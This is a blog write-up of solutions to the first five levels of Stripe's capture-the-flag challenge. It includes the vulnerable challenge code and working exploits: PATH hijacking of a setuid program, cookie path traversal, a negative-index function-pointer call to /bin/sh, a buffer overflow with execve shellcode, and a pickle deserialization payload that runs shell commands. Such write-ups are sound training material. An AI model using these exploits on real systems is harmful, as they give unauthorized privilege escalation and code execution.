02.27
Spoiler alert… if you want to complete this yourself dont read any further. Watch this instead!
Before I begin, a huge thank you to the guys at stripe.com for putting the time in to create this challenge, It RAWKS!
.
..
…
….
…..
……
…….
……..
………
……….
………
……..
…….
……
…..
….
…
..
.
OK here we go
Level01
ssh level01@ctf.stri.pe
e9gx26YEb2
ls -lathr /levels/level01
-r-Sr-x--- 1 level02 level01 8.5K 2012-02-23 22:44 /levels/level01
cat /levels/level01.c
#include <stdio.h>#include <stdlib.h>
int main(int argc, char **argv){ printf("Current time: "); fflush(stdout); system("date"); return 0;}
The above prints “Current time:” and then executes date. I cannot edit the code but I can change my path… Since /levels/level01 will execute as level02, I can get the program to execute another “date” which will also run in the context of level02.
echo "cat /home/level02/.password" >> /tmp/zwned/date
chmod +x /tmp/zwned/date
PATH=/tmp/zwned:$PATH
/levels/level01
Current time: kxlVXUvzv
Level02
ssh level02@ctf.stri.pe
kxlVXUvzv
cat /levels/level02
visit http://ctf.stri.pe/level02.php
use level02 as username and kxlVXUvzv as password
cat /var/www/level02.php
From the above you can see that a cookie is set (user_details) and that the script will read the contents of a file that user_details points to. Edit user_details cookie to point to ../../home/level03/.password
reload page and you see: Or0m4UX07b
Level03
ssh level03@ctf.stri.pe
Or0m4UX07b
Another SUID binary
ls -lathr /levels/level03
-r-Sr-x--- 1 level04 level03 9.9K 2012-02-23 02:31 /levels/level03
cat /levels/level03.c
#include <stdio.h>#include <string.h>#include <stdlib.h>#include <ctype.h>
#define NUM_FNS 4
typedef int (*fn_ptr)(const char *);
int to_upper(const char *str){ printf("Uppercased string: "); int i = 0; for (i; str[i]; i++) putchar(toupper(str[i])); printf("\n"); return 0;}
int to_lower(const char *str){ printf("Lowercased string: "); int i = 0; for (i; str[i]; i++) putchar(tolower(str[i])); printf("\n"); return 0;}
int capitalize(const char *str){ printf("Capitalized string: "); putchar(toupper(str[0])); int i = 1; for (i; str[i]; i++) putchar(tolower(str[i])); printf("\n", str); return 0;}
int length(const char *str){ int len = 0; for (len; str[len]; len++) {}
printf("Length of string '%s': %d\n", str, len); return 0;}
int run(const char *str){ // This function is now deprecated. return system(str);}
int truncate_and_call(fn_ptr *fns, int index, char *user_string){ char buf[64]; // Truncate supplied string strncpy(buf, user_string, sizeof(buf) - 1); buf[sizeof(buf) - 1] = '\0'; return fns[index](buf);}
int main(int argc, char **argv){ int index; fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
if (argc != 3) { printf("Usage: ./level03 INDEX STRING\n"); printf("Possible indices:\n[0] to_upper\t[1] to_lower\n"); printf("[2] capitalize\t[3] length\n"); exit(-1); }
// Parse supplied index index = atoi(argv[1]);
if (index >= NUM_FNS) { printf("Invalid index.\n"); printf("Possible indices:\n[0] to_upper\t[1] to_lower\n"); printf("[2] capitalize\t[3] length\n"); exit(-1); }
return truncate_and_call(fns, index, argv[2]);}
At first I thought that this was a buffer overflow at truncate_and_call. After running down that rabbit hole for a while I realized that you can also pass negative values to argv[1]. When you do this you can make truncate_and_call call any function with fn_ptr, one of those functions that will be useful is run.
gdb /levels/level03
So I am opening this up in gdb and setting a breakpoint for truncate_and_call.
(gdb) break truncate_and_call
Breakpoint 1 at 0x8048780: file level03.c, line 57.
(gdb) run 3 ThisIsNotWhatIWant
Breakpoint 1, truncate_and_call (fns=0xff94a57c, index=3, user_string=0xff94b911 "ThisIsNotWhatIWant") at level03.c:57
(gdb) n
60 in level03.c
(gdb) p &buf
$1 = (char (*)[64]) 0xffad267c
(gdb) p fns
$2 = (fn_ptr *) 0xffad26ec
Print address of buff and fns. Determine the difference between the two for the index.
(gdb) p (0xffad26ec-0xffad267c)/4
$3 = 28
(gdb) p run
$4 = {int (const char *)} 0x804875b
(gdb) quit
A debugging session is active.
Inferior 1 [process 32341] will be killed.
Quit anyway? (y or n) y
We also now have the address of the run function. This could have also been accomplished via objdump.
objdump -d /levels/level03 | grep run
0804875b run:
Armed with the address you could just brute the negative index. Either way would work I suppose.
Now create a sym link to /bin/sh with the name ‘\x5b\x87\x04\x08′.
ln -s /bin/sh "$(printf '\x5b\x87\x04\x08')"
Now make sure that your current directory is in your path (or this wont work – yes I am that retarded)!
export PATH=$(pwd):$PATH
Now execute level03 with the negative index found earlier and pass it the address of the run function, this should execute /bin/sh
/levels/level03 -28 "$(printf '\x5b\x87\x04\x08')"
The pass for level04 is i5cBbPvPCpcP
Level04
ssh level04@ctf.stri.pe
i5cBbPvPCpcP
The vulnerabilities overfloweth!
cat /levels/level04.c
Looks like a pretty straightforward buffer overflow, fun contains an array of size 1024. The strcpy is used to copy buf into str without doing any bounds checking. I used pattern create and gdb to see wehre this broke
./pattern_create.rb 1050 > pattern
gdb /levels/level04
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9
Starting program: /levels/level04 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9
Program received signal SIGSEGV, Segmentation fault.
0x69423569 in ?? ()
(gdb) quit
A debugging session is active.
Inferior 1 [process 32448] will be killed.
Quit anyway? (y or n) y
./pattern_offset.rb 69423569
1036
So now I know that I can control EIP. I just need to find a place to store the shellcode and I should be good to go. I realized that ALSR was in use and found a tool jmpbuster that may be able to help me out.
gcc jmpbuster.c -o jmpbuster
./jmpbuster
** JMP buster - Tool for searching registers JMP/CALL inside an executable file
by BlackLight, released under GNU GPL licence v.3, 2009
Usage: ./jmpbuster
./jmpbuster /levels/level04
** JMP buster - Tool for searching registers JMP/CALL inside an executable file
by BlackLight, released under GNU GPL licence v.3, 2009
-> [call *%eax] found at addr 0x0804847f
-> [call *%eax] found at addr 0x0804857b
Now to see if it worked:
gdb /levels/level04
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`printf '\x7f\x84\x04\x08'`
(gdb) info registers
eax 0x8 8
ecx 0x8000003a -2147483590
edx 0x40d 1037
ebx 0xf7702ff4 -143642636
esp 0xffca3064 0xffca3064
ebp 0x804847f 0x804847f
esi 0x0 0
edi 0x0 0
eip 0xffca4932 0xffca4932
eflags 0x10202 [ IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Looks like EBP has the address of 0x804847f, so since I can control EIP, and I can point EIP to the address of EBP, I should be able to start my overflow with shellcode and hopefully get it to execute. I used BlackLight’s shellcode generator to execute /bin/sh.
THe final exploit looked like:
/levels/level04 `printf '\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23'`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`printf '\x7f\x84\x04\x08'`
cat /home/level05/.password
fzfDGnSmd317
Level05
ssh level05@ctf.stri.pe
fzfDGnSmd317
So number 5 took me a while. I didn’t know too much about python’s pickle module until now. The following program is broken into two functional pieces, the HTTP server and worker.
cat /levels/level05#!/usr/bin/env pythonimport loggingimport jsonimport optparseimport osimport pickleimport randomimport reimport stringimport sysimport timeimport tracebackimport urllib
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
LOGGER_NAME = 'queue'logger = logging.getLogger(LOGGER_NAME)logger.addHandler(logging.StreamHandler(sys.stderr))
TMPDIR = '/tmp/level05'
class Job(object): QUEUE_JOBS = os.path.join(TMPDIR, 'jobs') QUEUE_RESULTS = os.path.join(TMPDIR, 'results')
def __init__(self): self.id = self.generate_id() self.created = time.time() self.started = None self.completed = None
def generate_id(self): return ''.join([random.choice(string.ascii_letters) for i in range(20)])
def job_file(self): return os.path.join(self.QUEUE_JOBS, self.id)
def result_file(self): return os.path.join(self.QUEUE_RESULTS, self.id)
def start(self): self.started = time.time()
def complete(self): self.completed = time.time()
class QueueUtils(object): @staticmethod def deserialize(serialized): logger.debug('Deserializing: %r' % serialized) parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL) match = parser.match(serialized) direction = match.group(1) data = match.group(2) job = pickle.loads(match.group(3)) return direction, data, job
@staticmethod def serialize(direction, data, job): serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job)) logger.debug('Serialized to: %r' % serialized) return serialized
@staticmethod def enqueue(type, data, job): logger.info('Writing out %s data for job id %s' % (type, job.id)) if type == 'JOB': file = job.job_file() elif type == 'RESULT': file = job.result_file() else: raise ValueError('Invalid type %s' % type)
serialized = QueueUtils.serialize(type, data, job) with open(file, 'w') as f: f.write(serialized) f.close()
class QueueServer(object): # Called in server def run_job(self, data, job): QueueUtils.enqueue('JOB', data, job) result = self.wait(job) if not result: result = (None, 'Job timed out', None) return result
def wait(self, job): job_complete = False for i in range(10): if os.path.exists(job.result_file()): logger.debug('Results file %s found' % job.result_file()) job_complete = True break else: logger.debug('Results file %s does not exist; sleeping' % job.result_file()) time.sleep(0.2)
if job_complete: f = open(job.result_file()) result = f.read() os.unlink(job.result_file()) return QueueUtils.deserialize(result) else: return None
class QueueWorker(object): def __init__(self): # ensure tmp directories exist if not os.path.exists(Job.QUEUE_JOBS): os.mkdir(Job.QUEUE_JOBS) if not os.path.exists(Job.QUEUE_RESULTS): os.mkdir(Job.QUEUE_RESULTS)
def poll(self): while True: available_jobs = [os.path.join(Job.QUEUE_JOBS, job) for job in os.listdir(Job.QUEUE_JOBS)] for job_file in available_jobs: try: self.process(job_file) except Exception, e: logger.error('Error processing %s' % job_file) traceback.print_exc() else: logger.debug('Successfully processed %s' % job_file) finally: os.unlink(job_file) if available_jobs: logger.info('Processed %d available jobs' % len(available_jobs)) else: time.sleep(1) def process(self, job_file): serialized = open(job_file).read() type, data, job = QueueUtils.deserialize(serialized) job.start() result_data = self.perform(data) job.complete() QueueUtils.enqueue('RESULT', result_data, job)
def perform(self, data): return data.upper() class QueueHttpServer(BaseHTTPRequestHandler): def do_GET(self): self.send_response(404) self.send_header('Content-type','text/plain') self.end_headers() output = { 'result' : "Hello there! Try POSTing your payload. I'll be happy to capitalize it for you." } self.wfile.write(json.dumps(output)) self.wfile.close() def do_POST(self): length = int(self.headers.getheader('content-length')) post_data = self.rfile.read(length) raw_data = urllib.unquote(post_data)
queue = QueueServer() job = Job() type, data, job = queue.run_job(data=raw_data, job=job) if job: status = 200 output = { 'result' : data, 'processing_time' : job.completed - job.started, 'queue_time' : time.time() - job.created } else: status = 504 output = { 'result' : data }
self.send_response(status) self.send_header('Content-type','text/plain') self.end_headers() self.wfile.write(json.dumps(output, sort_keys=True, indent=4)) self.wfile.write('\n') self.wfile.close()
def run_server(): try: server = HTTPServer(('127.0.0.1', 9020), QueueHttpServer) logger.info('Starting QueueServer') server.serve_forever()
except KeyboardInterrupt: logger.info('^C received, shutting down server') server.socket.close()
def run_worker(): worker = QueueWorker() worker.poll()
def main(): parser = optparse.OptionParser("""%prog [options] type""") parser.add_option('-v', '--verbosity', help='Verbosity of debugging output.', dest='verbosity', action='count', default=0) opts, args = parser.parse_args() if opts.verbosity == 1: logger.setLevel(logging.INFO) elif opts.verbosity >= 2: logger.setLevel(logging.DEBUG)
if len(args) != 1: parser.print_help() return 1
if args[0] == 'worker': run_worker() elif args[0] == 'server': run_server() else: raise ValueError('Invalid type %s' % args[0])
return 0
if __name__ == '__main__': sys.exit(main())
You are told that the application is running and listening on the port 9020. It also tells you that you can interact with the program (which is to capitalize any input sent to it) thusly:
curl localhost:9020 -d ‘hello friend’
{
“processing_time”: 5.9053301611229115e-06,
“queue_time”: 0.71473321001283662,
“result”: “HELLO FRIEND”
}
After running through the code you will notice that the string sent via curl will be picked up by the serialize function as data. That data is then serialized via pickle into a file.
You can read up more on Pickle here.
Notice the Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
The worker portion of the application will pick up new files from /tmp/level05/ it will then deserialize them.
The regular expression in the deserialize function seems to be the only additional hurdle. It does however seem to be possible to give the re exactly what it is looking for in our request – namely “; job:”.
Now we can provide our own pickled data containing commands we want executed.
This took me quite some time since I had never run into the issue of deserializing untrusted pickles.
I spent some time reading this, this, and more of this.
Now all that is needed is to crete a request that contains commands that we want to run.
cat pickledpass.py
import pickle, os
os.execve("/usr/bin/curl", ["", "localhost:9020", "-d", "hello friend; job: cos\nsystem\n(S'cat /home/level06/.password > /tmp/pickledpass'\ntR."], {})
python pickledpass.py
{
”result”: “Job timed out”
}
cat /tmp/pickledpass
SF2w8qU1QDj
This is as far as I have gotten…










